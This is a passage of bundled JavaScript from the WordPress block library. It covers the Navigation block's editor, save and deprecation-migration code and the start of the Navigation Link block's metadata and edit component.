          onSelectClassicMenu,
          onSelectNavigationMenu,
          isLoading,
          blockEditingMode
        }
      ),
      blockEditingMode === "default" && stylingInspectorControls,
      /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_core_data49.EntityProvider, { kind: "postType", type: "wp_navigation", id: ref, children: /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_block_editor157.RecursionProvider, { uniqueId: recursionId, children: [
        blockEditingMode === "contentOnly" && isEntityAvailable && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(NavigationAddPageButton, { clientId }),
        blockEditingMode === "default" && isEntityAvailable && /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_block_editor157.InspectorControls, { group: "advanced", children: [
          hasResolvedCanUserUpdateNavigationMenu && canUserUpdateNavigationMenu && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(NavigationMenuNameControl, {}),
          hasResolvedCanUserDeleteNavigationMenu && canUserDeleteNavigationMenu && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
            NavigationMenuDeleteControl,
            {
              onDelete: () => {
                replaceInnerBlocks(clientId, []);
                showNavigationMenuStatusNotice(
                  (0, import_i18n141.__)(
                    "Navigation Menu successfully deleted."
                  )
                );
              }
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
            manage_menus_button_default,
            {
              disabled: isManageMenusButtonDisabled,
              className: "wp-block-navigation-manage-menus-button"
            }
          )
        ] }),
        /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(
          TagName2,
          {
            ...blockProps,
            "aria-describedby": !isPlaceholder && !isLoading ? accessibleDescriptionId : void 0,
            children: [
              isLoading && !isHiddenByDefault && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)("div", { className: "wp-block-navigation__loading-indicator-container", children: /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(import_components93.Spinner, { className: "wp-block-navigation__loading-indicator" }) }),
              (!isLoading || isHiddenByDefault) && /* @__PURE__ */ (0, import_jsx_runtime332.jsxs)(import_jsx_runtime332.Fragment, { children: [
                /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  AccessibleMenuDescription,
                  {
                    id: accessibleDescriptionId
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                  ResponsiveWrapper,
                  {
                    id: clientId,
                    onToggle: setResponsiveMenuVisibility,
                    hasIcon,
                    icon: icon4,
                    isOpen: isResponsiveMenuOpen,
                    isResponsive,
                    isHiddenByDefault,
                    overlayBackgroundColor,
                    overlayTextColor,
                    overlay,
                    onNavigateToEntityRecord,
                    children: isEntityAvailable && /* @__PURE__ */ (0, import_jsx_runtime332.jsx)(
                      NavigationInnerBlocks,
                      {
                        clientId,
                        hasCustomPlaceholder: !!CustomPlaceholder,
                        templateLock,
                        orientation
                      }
                    )
                  }
                )
              ] })
            ]
          }
        )
      ] }) })
    ] });
  }
  var edit_default20 = (0, import_block_editor157.withColors)(
    { textColor: "color" },
    { backgroundColor: "color" },
    { overlayBackgroundColor: "color" },
    { overlayTextColor: "color" }
  )(Navigation);

  // packages/block-library/build-module/navigation/save.mjs
  var import_block_editor158 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime333 = __toESM(require_jsx_runtime(), 1);
  function save33({ attributes: attributes2 }) {
    if (attributes2.ref) {
      return;
    }
    return /* @__PURE__ */ (0, import_jsx_runtime333.jsx)(import_block_editor158.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation/deprecated.mjs
  var import_block_editor159 = __toESM(require_block_editor(), 1);
  var import_compose36 = __toESM(require_compose(), 1);
  var import_jsx_runtime334 = __toESM(require_jsx_runtime(), 1);
  var TYPOGRAPHY_PRESET_DEPRECATION_MAP = {
    fontStyle: "var:preset|font-style|",
    fontWeight: "var:preset|font-weight|",
    textDecoration: "var:preset|text-decoration|",
    textTransform: "var:preset|text-transform|"
  };
  var migrateIdToRef = ({ navigationMenuId, ...attributes2 }) => {
    return {
      ...attributes2,
      ref: navigationMenuId
    };
  };
  var migrateWithLayout2 = (attributes2) => {
    if (!!attributes2.layout) {
      return attributes2;
    }
    const { itemsJustification, orientation, ...updatedAttributes } = attributes2;
    if (itemsJustification || orientation) {
      Object.assign(updatedAttributes, {
        layout: {
          type: "flex",
          ...itemsJustification && {
            justifyContent: itemsJustification
          },
          ...orientation && { orientation }
        }
      });
    }
    return updatedAttributes;
  };
  var migrateOpenSubmenusOnClick = (attributes2) => {
    const { openSubmenusOnClick, ...restAttributes } = attributes2;
    if (openSubmenusOnClick === null || openSubmenusOnClick === void 0) {
      return attributes2;
    }
    return {
      ...restAttributes,
      submenuVisibility: restAttributes.submenuVisibility ?? (openSubmenusOnClick ? "click" : "hover")
    };
  };
  var v75 = {
    attributes: {
      ref: {
        type: "number"
      },
      textColor: {
        type: "string"
      },
      customTextColor: {
        type: "string"
      },
      rgbTextColor: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      rgbBackgroundColor: {
        type: "string"
      },
      showSubmenuIcon: {
        type: "boolean",
        default: true
      },
      openSubmenusOnClick: {
        type: "boolean",
        default: false
      },
      overlayMenu: {
        type: "string",
        default: "mobile"
      },
      icon: {
        type: "string",
        default: "handle"
      },
      hasIcon: {
        type: "boolean",
        default: true
      },
      __unstableLocation: {
        type: "string"
      },
      overlayBackgroundColor: {
        type: "string"
      },
      customOverlayBackgroundColor: {
        type: "string"
      },
      overlayTextColor: {
        type: "string"
      },
      customOverlayTextColor: {
        type: "string"
      },
      maxNestingLevel: {
        type: "number",
        default: 5
      },
      templateLock: {
        type: ["string", "boolean"],
        enum: ["all", "insert", "contentOnly", false]
      }
    },
    supports: {
      align: ["wide", "full"],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalLetterSpacing: true,
        __experimentalTextDecoration: true,
        __experimentalSkipSerialization: ["textDecoration"],
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: ["px", "em", "rem", "vh", "vw"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        allowVerticalAlignment: false,
        allowSizingOnChildren: true,
        default: {
          type: "flex"
        }
      },
      interactivity: true,
      renaming: false
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ openSubmenusOnClick }) => openSubmenusOnClick !== null && openSubmenusOnClick !== void 0,
    migrate: migrateOpenSubmenusOnClick
  };
  var v66 = {
    attributes: {
      navigationMenuId: {
        type: "number"
      },
      textColor: {
        type: "string"
      },
      customTextColor: {
        type: "string"
      },
      rgbTextColor: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      rgbBackgroundColor: {
        type: "string"
      },
      showSubmenuIcon: {
        type: "boolean",
        default: true
      },
      overlayMenu: {
        type: "string",
        default: "mobile"
      },
      __unstableLocation: {
        type: "string"
      },
      overlayBackgroundColor: {
        type: "string"
      },
      customOverlayBackgroundColor: {
        type: "string"
      },
      overlayTextColor: {
        type: "string"
      },
      customOverlayTextColor: {
        type: "string"
      }
    },
    supports: {
      align: ["wide", "full"],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: ["px", "em", "rem", "vh", "vw"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      },
      layout: {
        allowSwitching: false,
        allowInheriting: false,
        default: {
          type: "flex"
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ navigationMenuId }) => !!navigationMenuId,
    migrate: migrateIdToRef
  };
  var v56 = {
    attributes: {
      navigationMenuId: {
        type: "number"
      },
      orientation: {
        type: "string",
        default: "horizontal"
      },
      textColor: {
        type: "string"
      },
      customTextColor: {
        type: "string"
      },
      rgbTextColor: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      rgbBackgroundColor: {
        type: "string"
      },
      itemsJustification: {
        type: "string"
      },
      showSubmenuIcon: {
        type: "boolean",
        default: true
      },
      openSubmenusOnClick: {
        type: "boolean",
        default: false
      },
      overlayMenu: {
        type: "string",
        default: "never"
      },
      __unstableLocation: {
        type: "string"
      },
      overlayBackgroundColor: {
        type: "string"
      },
      customOverlayBackgroundColor: {
        type: "string"
      },
      overlayTextColor: {
        type: "string"
      },
      customOverlayTextColor: {
        type: "string"
      }
    },
    supports: {
      align: ["wide", "full"],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      spacing: {
        blockGap: true,
        units: ["px", "em", "rem", "vh", "vw"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    isEligible: ({ itemsJustification, orientation }) => !!itemsJustification || !!orientation,
    migrate: (0, import_compose36.compose)(
      migrateIdToRef,
      migrateWithLayout2,
      migrateOpenSubmenusOnClick
    )
  };
  var v46 = {
    attributes: {
      orientation: {
        type: "string",
        default: "horizontal"
      },
      textColor: {
        type: "string"
      },
      customTextColor: {
        type: "string"
      },
      rgbTextColor: {
        type: "string"
      },
      backgroundColor: {
        type: "string"
      },
      customBackgroundColor: {
        type: "string"
      },
      rgbBackgroundColor: {
        type: "string"
      },
      itemsJustification: {
        type: "string"
      },
      showSubmenuIcon: {
        type: "boolean",
        default: true
      },
      openSubmenusOnClick: {
        type: "boolean",
        default: false
      },
      overlayMenu: {
        type: "string",
        default: "never"
      },
      __unstableLocation: {
        type: "string"
      },
      overlayBackgroundColor: {
        type: "string"
      },
      customOverlayBackgroundColor: {
        type: "string"
      },
      overlayTextColor: {
        type: "string"
      },
      customOverlayTextColor: {
        type: "string"
      }
    },
    supports: {
      align: ["wide", "full"],
      anchor: true,
      html: false,
      inserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true
      },
      spacing: {
        blockGap: true,
        units: ["px", "em", "rem", "vh", "vw"],
        __experimentalDefaultControls: {
          blockGap: true
        }
      }
    },
    save() {
      return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
    },
    migrate: (0, import_compose36.compose)(
      migrateIdToRef,
      migrateWithLayout2,
      migrate_font_family_default,
      migrateOpenSubmenusOnClick
    ),
    isEligible({ style: style2 }) {
      return style2?.typography?.fontFamily;
    }
  };
  var migrateIsResponsive = function(attributes2) {
    delete attributes2.isResponsive;
    return {
      ...attributes2,
      overlayMenu: "mobile"
    };
  };
  var migrateTypographyPresets = function(attributes2) {
    return {
      ...attributes2,
      style: {
        ...attributes2.style,
        typography: Object.fromEntries(
          Object.entries(attributes2.style.typography ?? {}).map(
            ([key, value]) => {
              const prefix = TYPOGRAPHY_PRESET_DEPRECATION_MAP[key];
              if (prefix && value.startsWith(prefix)) {
                const newValue = value.slice(prefix.length);
                if ("textDecoration" === key && "strikethrough" === newValue) {
                  return [key, "line-through"];
                }
                return [key, newValue];
              }
              return [key, value];
            }
          )
        )
      }
    };
  };
  var deprecated11 = [
    v75,
    v66,
    v56,
    v46,
    // Remove `isResponsive` attribute.
    {
      attributes: {
        orientation: {
          type: "string",
          default: "horizontal"
        },
        textColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        },
        rgbTextColor: {
          type: "string"
        },
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        rgbBackgroundColor: {
          type: "string"
        },
        itemsJustification: {
          type: "string"
        },
        showSubmenuIcon: {
          type: "boolean",
          default: true
        },
        openSubmenusOnClick: {
          type: "boolean",
          default: false
        },
        isResponsive: {
          type: "boolean",
          default: "false"
        },
        __unstableLocation: {
          type: "string"
        },
        overlayBackgroundColor: {
          type: "string"
        },
        customOverlayBackgroundColor: {
          type: "string"
        },
        overlayTextColor: {
          type: "string"
        },
        customOverlayTextColor: {
          type: "string"
        }
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false,
        inserter: true,
        typography: {
          fontSize: true,
          lineHeight: true,
          __experimentalFontStyle: true,
          __experimentalFontWeight: true,
          __experimentalTextTransform: true,
          __experimentalFontFamily: true,
          __experimentalTextDecoration: true
        }
      },
      isEligible(attributes2) {
        return attributes2.isResponsive;
      },
      migrate: (0, import_compose36.compose)(
        migrateIdToRef,
        migrateWithLayout2,
        migrate_font_family_default,
        migrateIsResponsive,
        migrateOpenSubmenusOnClick
      ),
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      }
    },
    {
      attributes: {
        orientation: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        customTextColor: {
          type: "string"
        },
        rgbTextColor: {
          type: "string"
        },
        backgroundColor: {
          type: "string"
        },
        customBackgroundColor: {
          type: "string"
        },
        rgbBackgroundColor: {
          type: "string"
        },
        itemsJustification: {
          type: "string"
        },
        showSubmenuIcon: {
          type: "boolean",
          default: true
        }
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false,
        inserter: true,
        fontSize: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalTextTransform: true,
        color: true,
        __experimentalFontFamily: true,
        __experimentalTextDecoration: true
      },
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      },
      isEligible(attributes2) {
        if (!attributes2.style || !attributes2.style.typography) {
          return false;
        }
        for (const styleAttribute in TYPOGRAPHY_PRESET_DEPRECATION_MAP) {
          const attributeValue = attributes2.style.typography[styleAttribute];
          if (attributeValue && attributeValue.startsWith(
            TYPOGRAPHY_PRESET_DEPRECATION_MAP[styleAttribute]
          )) {
            return true;
          }
        }
        return false;
      },
      migrate: (0, import_compose36.compose)(
        migrateIdToRef,
        migrateWithLayout2,
        migrate_font_family_default,
        migrateTypographyPresets
      )
    },
    {
      attributes: {
        className: {
          type: "string"
        },
        textColor: {
          type: "string"
        },
        rgbTextColor: {
          type: "string"
        },
        backgroundColor: {
          type: "string"
        },
        rgbBackgroundColor: {
          type: "string"
        },
        fontSize: {
          type: "string"
        },
        customFontSize: {
          type: "number"
        },
        itemsJustification: {
          type: "string"
        },
        showSubmenuIcon: {
          type: "boolean"
        }
      },
      isEligible(attribute) {
        return attribute.rgbTextColor || attribute.rgbBackgroundColor;
      },
      supports: {
        align: ["wide", "full"],
        anchor: true,
        html: false,
        inserter: true
      },
      migrate: (0, import_compose36.compose)(migrateIdToRef, (attributes2) => {
        const { rgbTextColor, rgbBackgroundColor, ...restAttributes } = attributes2;
        return {
          ...restAttributes,
          customTextColor: attributes2.textColor ? void 0 : attributes2.rgbTextColor,
          customBackgroundColor: attributes2.backgroundColor ? void 0 : attributes2.rgbBackgroundColor
        };
      }),
      save() {
        return /* @__PURE__ */ (0, import_jsx_runtime334.jsx)(import_block_editor159.InnerBlocks.Content, {});
      }
    }
  ];
  var deprecated_default28 = deprecated11;

  // packages/block-library/build-module/navigation/index.mjs
  var { name: name54 } = block_default54;
  var settings54 = {
    icon: navigation_default,
    example: {
      attributes: {
        overlayMenu: "never"
      },
      innerBlocks: [
        {
          name: "core/navigation-link",
          attributes: {
            // translators: 'Home' as in a website's home page.
            label: (0, import_i18n142.__)("Home"),
            url: "https://make.wordpress.org/"
          }
        },
        {
          name: "core/navigation-link",
          attributes: {
            // translators: 'About' as in a website's about page.
            label: (0, import_i18n142.__)("About"),
            url: "https://make.wordpress.org/"
          }
        },
        {
          name: "core/navigation-link",
          attributes: {
            // translators: 'Contact' as in a website's contact page.
            label: (0, import_i18n142.__)("Contact"),
            url: "https://make.wordpress.org/"
          }
        }
      ]
    },
    edit: edit_default20,
    save: save33,
    __experimentalLabel: ({ ref }) => {
      if (!ref) {
        return;
      }
      const navigation = (0, import_data87.select)(import_core_data50.store).getEditedEntityRecord(
        "postType",
        "wp_navigation",
        ref
      );
      if (!navigation?.title) {
        return;
      }
      return (0, import_html_entities7.decodeEntities)(navigation.title);
    },
    deprecated: deprecated_default28
  };
  var init54 = () => initBlock({ name: name54, metadata: block_default54, settings: settings54 });

  // packages/block-library/build-module/navigation-link/index.mjs
  var navigation_link_exports = {};
  __export(navigation_link_exports, {
    init: () => init55,
    metadata: () => block_default55,
    name: () => name55,
    settings: () => settings55
  });
  var import_i18n144 = __toESM(require_i18n(), 1);
  var import_block_editor162 = __toESM(require_block_editor(), 1);
  var import_hooks43 = __toESM(require_hooks(), 1);
  var import_blocks65 = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/navigation-link/block.json
  var block_default55 = {
    $schema: "https://schemas.wp.org/trunk/block.json",
    apiVersion: 3,
    name: "core/navigation-link",
    title: "Custom Link",
    category: "design",
    parent: ["core/navigation"],
    allowedBlocks: [
      "core/navigation-link",
      "core/navigation-submenu",
      "core/page-list"
    ],
    description: "Add a page, link, or another item to your navigation.",
    textdomain: "default",
    attributes: {
      label: {
        type: "string",
        role: "content"
      },
      type: {
        type: "string"
      },
      description: {
        type: "string"
      },
      rel: {
        type: "string"
      },
      id: {
        type: "number"
      },
      opensInNewTab: {
        type: "boolean",
        default: false
      },
      url: {
        type: "string",
        role: "content"
      },
      title: {
        type: "string"
      },
      kind: {
        type: "string"
      },
      isTopLevelLink: {
        type: "boolean"
      }
    },
    usesContext: [
      "textColor",
      "customTextColor",
      "backgroundColor",
      "customBackgroundColor",
      "overlayTextColor",
      "customOverlayTextColor",
      "overlayBackgroundColor",
      "customOverlayBackgroundColor",
      "fontSize",
      "customFontSize",
      "showSubmenuIcon",
      "maxNestingLevel",
      "style"
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      __experimentalSlashInserter: true,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      renaming: false,
      interactivity: {
        clientNavigation: true
      }
    },
    editorStyle: "wp-block-navigation-link-editor",
    style: "wp-block-navigation-link"
  };

  // packages/block-library/build-module/navigation-link/edit.mjs
  var import_blocks63 = __toESM(require_blocks(), 1);
  var import_data88 = __toESM(require_data(), 1);
  var import_components94 = __toESM(require_components(), 1);
  var import_keycodes5 = __toESM(require_keycodes(), 1);
  var import_i18n143 = __toESM(require_i18n(), 1);
  var import_block_editor160 = __toESM(require_block_editor(), 1);
  var import_url15 = __toESM(require_url(), 1);
  var import_element81 = __toESM(require_element(), 1);
  var import_compose37 = __toESM(require_compose(), 1);
  var import_jsx_runtime335 = __toESM(require_jsx_runtime(), 1);
  var DEFAULT_BLOCK6 = { name: "core/navigation-link" };
  var NESTING_BLOCK_NAMES = [
    "core/navigation-link",
    "core/navigation-submenu"
  ];
  function getMissingText(type) {
    let missingText = "";
    switch (type) {
      case "post":
        missingText = (0, import_i18n143.__)("Select post");
        break;
      case "page":
        missingText = (0, import_i18n143.__)("Select page");
        break;
      case "category":
        missingText = (0, import_i18n143.__)("Select category");
        break;
      case "tag":
        missingText = (0, import_i18n143.__)("Select tag");
        break;
      default:
        missingText = (0, import_i18n143.__)("Add link");
    }
    return missingText;
  }
  function NavigationLinkEdit({
    attributes: attributes2,
    isSelected,
    setAttributes,
    insertBlocksAfter,
    mergeBlocks,
    onReplace,
    context,
    clientId
  }) {
    const { id, label, type, url, description, kind, metadata } = attributes2;
    const { maxNestingLevel } = context;
    const {
      replaceBlock,
      __unstableMarkNextChangeAsNotPersistent,
      selectBlock
    } = (0, import_data88.useDispatch)(import_block_editor160.store);
    const [isLinkOpen, setIsLinkOpen] = (0, import_element81.useState)(isSelected && !url);
    const [popoverAnchor, setPopoverAnchor] = (0, import_element81.useState)(null);
    const listItemRef = (0, import_element81.useRef)(null);
    const isDraggingWithin = useIsDraggingWithin(listItemRef);
    const itemLabelPlaceholder = (0, import_i18n143.__)("Add label\u2026");
    const ref = (0, import_element81.useRef)();
    const linkUIref = (0, import_element81.useRef)();
    const isNewLink = (0, import_element81.useRef)(label === void 0);
    const shouldSelectSubmenuAppenderOnClose = (0, import_element81.useRef)(false);
    const {
      isAtMaxNesting,
      isTopLevelLink,
      isParentOfSelectedBlock,
      hasChildren,
      parentBlockClientId,
      isSubmenu
    } = (0, import_data88.useSelect)(
      (select9) => {
        const {
          getBlockCount,
          getBlockName,
          getBlockRootClientId,
          hasSelectedInnerBlock,
          getBlockParentsByBlockName
        } = select9(import_block_editor160.store);
        const rootClientId = getBlockRootClientId(clientId);
        const parentBlockName = getBlockName(rootClientId);
        const isTopLevel = parentBlockName === "core/navigation";
        const rootNavigationClientId = isTopLevel ? rootClientId : getBlockParentsByBlockName(
          clientId,
          "core/navigation"
        )[0];
        const parentBlockId = parentBlockName === "core/navigation-submenu" ? rootClientId : rootNavigationClientId;
        return {
          isAtMaxNesting: getBlockParentsByBlockName(clientId, NESTING_BLOCK_NAMES).length >= maxNestingLevel,
          isTopLevelLink: isTopLevel,
          isParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            true
          ),
          hasChildren: !!getBlockCount(clientId),
          parentBlockClientId: parentBlockId,
          isSubmenu: parentBlockName === "core/navigation-submenu"
        };
      },
      [clientId, maxNestingLevel]
    );
    const validateLinkStatus = useEnableLinkStatusValidation(clientId);
    const { getBlocks } = (0, import_data88.useSelect)(import_block_editor160.store);
    const { hasUrlBinding, isBoundEntityAvailable, entityRecord } = useEntityBinding({
      clientId,
      attributes: attributes2
    });
    const handleLinkChange = useHandleLinkChange({
      clientId,
      attributes: attributes2,
      setAttributes,
      allowTextUpdate: true
    });
    const [isInvalid, isDraft] = useIsInvalidLink(
      kind,
      type,
      id,
      validateLinkStatus
    );
    const transformToSubmenu = (0, import_element81.useCallback)(() => {
      let innerBlocks = getBlocks(clientId);
      if (innerBlocks.length === 0) {
        innerBlocks = [(0, import_blocks63.createBlock)("core/navigation-link")];
        selectBlock(innerBlocks[0].clientId);
      }
      const newSubmenu = (0, import_blocks63.createBlock)(
        "core/navigation-submenu",
        attributes2,
        innerBlocks
      );
      replaceBlock(clientId, newSubmenu);
    }, [getBlocks, clientId, selectBlock, replaceBlock, attributes2]);
    (0, import_element81.useEffect)(() => {
      if (isNewLink.current && isSelected) {
        selectBlock(parentBlockClientId);
      }
    }, []);
    (0, import_element81.useEffect)(() => {
      if (hasChildren) {
        __unstableMarkNextChangeAsNotPersistent();
        transformToSubmenu();
      }
    }, [
      hasChildren,
      __unstableMarkNextChangeAsNotPersistent,
      transformToSubmenu
    ]);
    (0, import_element81.useEffect)(() => {
      if (!isNewLink.current || !url || !isLinkOpen) {
        return;
      }
      isNewLink.current = false;
      if ((0, import_url15.isURL)((0, import_url15.prependHTTP)(label)) && /^.+\.[a-z]+/.test(label)) {
        selectLabelText(ref);
      } else {
        selectBlock(clientId, null);
        if (isSubmenu) {
          const parentBlocks = getBlocks(parentBlockClientId);
          if (parentBlocks.length === 1 && parentBlocks[0].clientId === clientId) {
            shouldSelectSubmenuAppenderOnClose.current = true;
          }
        }
      }
    }, [url, isLinkOpen, isNewLink, label]);
    function removeLink() {
      setAttributes({
        url: void 0,
        label: void 0,
        id: void 0,
        kind: void 0,
        type: void 0,
        opensInNewTab: false
      });
      setIsLinkOpen(false);
    }
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor
    } = getColors(context, !isTopLevelLink);
    function onKeyDown(event) {
      if (import_keycodes5.isKeyboardEvent.primary(event, "k")) {
        event.preventDefault();
        event.stopPropagation();
        setIsLinkOpen(true);
      }
    }
    const instanceId = (0, import_compose37.useInstanceId)(NavigationLinkEdit);
    const hasMissingEntity = hasUrlBinding && !isBoundEntityAvailable;
    const missingEntityDescriptionId = hasMissingEntity ? (0, import_i18n143.sprintf)("navigation-link-edit-%d-desc", instanceId) : void 0;
    const blockProps = (0, import_block_editor160.useBlockProps)({
      ref: (0, import_compose37.useMergeRefs)([setPopoverAnchor, listItemRef]),
      className: clsx_default("wp-block-navigation-item", {
        "is-editing": isSelected || isParentOfSelectedBlock,
        "is-dragging-within": isDraggingWithin,
        "has-link": !!url,
        "has-child": hasChildren,
        "has-text-color": !!textColor || !!customTextColor,
        [(0, import_block_editor160.getColorClassName)("color", textColor)]: !!textColor,
        "has-background": !!backgroundColor || customBackgroundColor,
        [(0, import_block_editor160.getColorClassName)("background-color", backgroundColor)]: !!backgroundColor
      }),
      "aria-describedby": missingEntityDescriptionId,
      "aria-invalid": hasMissingEntity,
      style: {
        color: !textColor && customTextColor,
        backgroundColor: !backgroundColor && customBackgroundColor
      },
      onKeyDown
    });
    const innerBlocksProps = (0, import_block_editor160.useInnerBlocksProps)(
      {
        ...blockProps,
        className: "remove-outline"
        // Remove the outline from the inner blocks container.
      },
      {
        defaultBlock: DEFAULT_BLOCK6,
        directInsert: true,
        renderAppender: false
      }
    );
    const needsValidLink = !url && !(hasUrlBinding && isBoundEntityAvailable) || isInvalid || isDraft || hasUrlBinding && !isBoundEntityAvailable;
    if (needsValidLink) {
      blockProps.onClick = () => {
        setIsLinkOpen(true);
      };
    }
    const classes = clsx_default("wp-block-navigation-item__content", {
      "wp-block-navigation-link__placeholder": needsValidLink
    });
    const missingText = getMissingText(type);
    const invalidLinkHelpText = getInvalidLinkHelpText();
    return /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_block_editor160.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_components94.ToolbarGroup, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
          import_components94.ToolbarButton,
          {
            name: "link",
            icon: link_default,
            title: (0, import_i18n143.__)("Link"),
            shortcut: import_keycodes5.displayShortcut.primary("k"),
            onClick: () => {
              setIsLinkOpen(true);
            }
          }
        ),
        !isAtMaxNesting && /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
          import_components94.ToolbarButton,
          {
            name: "submenu",
            icon: add_submenu_default,
            title: (0, import_i18n143.__)("Add submenu"),
            onClick: transformToSubmenu
          }
        )
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_block_editor160.InspectorControls, { group: "content", children: /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
        Controls2,
        {
          attributes: attributes2,
          setAttributes,
          clientId
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)("div", { ...blockProps, children: [
        hasMissingEntity && /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(import_components94.VisuallyHidden, { id: missingEntityDescriptionId, children: invalidLinkHelpText }),
        /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)("a", { className: classes, children: [
          !url && !metadata?.bindings?.url ? /* @__PURE__ */ (0, import_jsx_runtime335.jsx)("div", { className: "wp-block-navigation-link__placeholder-text", children: /* @__PURE__ */ (0, import_jsx_runtime335.jsx)("span", { children: missingText }) }) : /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
            !isInvalid && !isDraft && /* @__PURE__ */ (0, import_jsx_runtime335.jsxs)(import_jsx_runtime335.Fragment, { children: [
              /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
                import_block_editor160.RichText,
                {
                  ref,
                  identifier: "label",
                  className: "wp-block-navigation-item__label",
                  value: label,
                  onChange: (labelValue) => setAttributes({
                    label: labelValue
                  }),
                  onMerge: mergeBlocks,
                  onReplace,
                  __unstableOnSplitAtEnd: () => insertBlocksAfter(
                    (0, import_blocks63.createBlock)(
                      "core/navigation-link"
                    )
                  ),
                  "aria-label": (0, import_i18n143.__)(
                    "Navigation link text"
                  ),
                  placeholder: itemLabelPlaceholder,
                  withoutInteractiveFormatting: true
                }
              ),
              description && /* @__PURE__ */ (0, import_jsx_runtime335.jsx)("span", { className: "wp-block-navigation-item__description", children: description })
            ] }),
            (isInvalid || isDraft) && /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
              InvalidDraftDisplay,
              {
                label,
                isInvalid,
                isDraft,
                className: "wp-block-navigation-link__label"
              }
            )
          ] }),
          isLinkOpen && /* @__PURE__ */ (0, import_jsx_runtime335.jsx)(
            LinkUI,
            {
              ref: linkUIref,
              clientId,
              link: attributes2,
              entity: {
                entityRecord,
                hasBinding: hasUrlBinding,
                isEntityAvailable: isBoundEntityAvailable
              },
              onClose: () => {
                setIsLinkOpen(false);
                if (!url && !hasUrlBinding) {
                  onReplace([]);
                  return;
                }
                if (shouldSelectSubmenuAppenderOnClose.current) {
                  shouldSelectSubmenuAppenderOnClose.current = false;
                  if (listItemRef.current?.nextElementSibling) {
                    const appenderButton = listItemRef.current.nextElementSibling.querySelector(
